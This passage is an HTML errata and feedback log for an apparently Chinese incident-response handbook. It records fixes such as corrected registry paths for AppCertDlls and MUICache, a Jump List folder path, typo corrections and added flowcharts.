style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">megaparsec</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2025-04-14 15:18</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">微信</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">建议添加 Windows Sandbox 状态检查</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已添加</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2025-07-17 00:30</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">54. 敏感文件夹检查-垃圾桶目录</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0054</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">NOPTeam</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2025-06-30 18:46</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">作者自查</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">敏感文件夹检查-垃圾桶目录多了一个 $</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已修复</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2025-07-17 00:39</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">55. AppCertDlls 注册表路径缺少空格</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0055</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">NOPTeam</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2025-07-3 10:57</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">作者自查</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">SessionManager -&gt; Session Manager</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已修复</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2025-07-17 00:42</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">56. 近期活动-MUICache添加 Vista之前注册表路径</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0056</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">NOPTeam</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2025-06-29 23:45</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">作者自查</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">近期活动-MUICache添加 Vista之前注册表路径</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已添加</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2025-07-17 00:44</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">HKEY_USERS\&lt;sid&gt;\Software\Microsoft\Windows\ShellNoRoam\MUICache</span></code><code><span leaf="">HKEY_USERS\&lt;sid&gt;\Software\Microsoft\Windows\CurrentVersion\Explorer\MUICache</span></code><code><span leaf="">HKEY_USERS\&lt;sid&gt;\SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache</span></code></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">57. 近期活动-Jump List添加应用自定义的跳转项</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0057</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">NOPTeam</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2025-06-30 01:00</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">作者自查</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">近期活动-Jump List添加应用自定义的跳转项</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已添加</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2025-07-17 00:45</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">C:\Users\&lt;用户名&gt;\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\</span></code></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">58. 189页文字错误</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0058</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">NOPTeam</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2025-07-14 04:18</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">xxxr_sec</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">189页 才用 -&gt; 采用</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已修复</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2025-07-17 00:46</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">59. 各个事件处置流程添加流程图</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0059</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">NOPTeam</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2025-07-17 23:00</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">作者自查</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">添加流程图</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已添加</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2025-07-18 00:06</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">60. 添加目录</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0060</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">NOPTeam</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2025-07-17 23:02</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">作者自查</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">为手册添加目录</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已添加</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2025-07-18 02:07</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">1. 寻找恶意样本部分 【文字错误】</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0001</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">路人甲</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-02-06 11:07</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">公众号留言</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">将一下内容改为将</span><strong style="font-weight: bold;color: black;"><span leaf="">以下</span></strong><span leaf="">内容</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已修复</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-02-06 19:28</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">2. 威胁分析部分 【平台名称错误】</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0002</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: 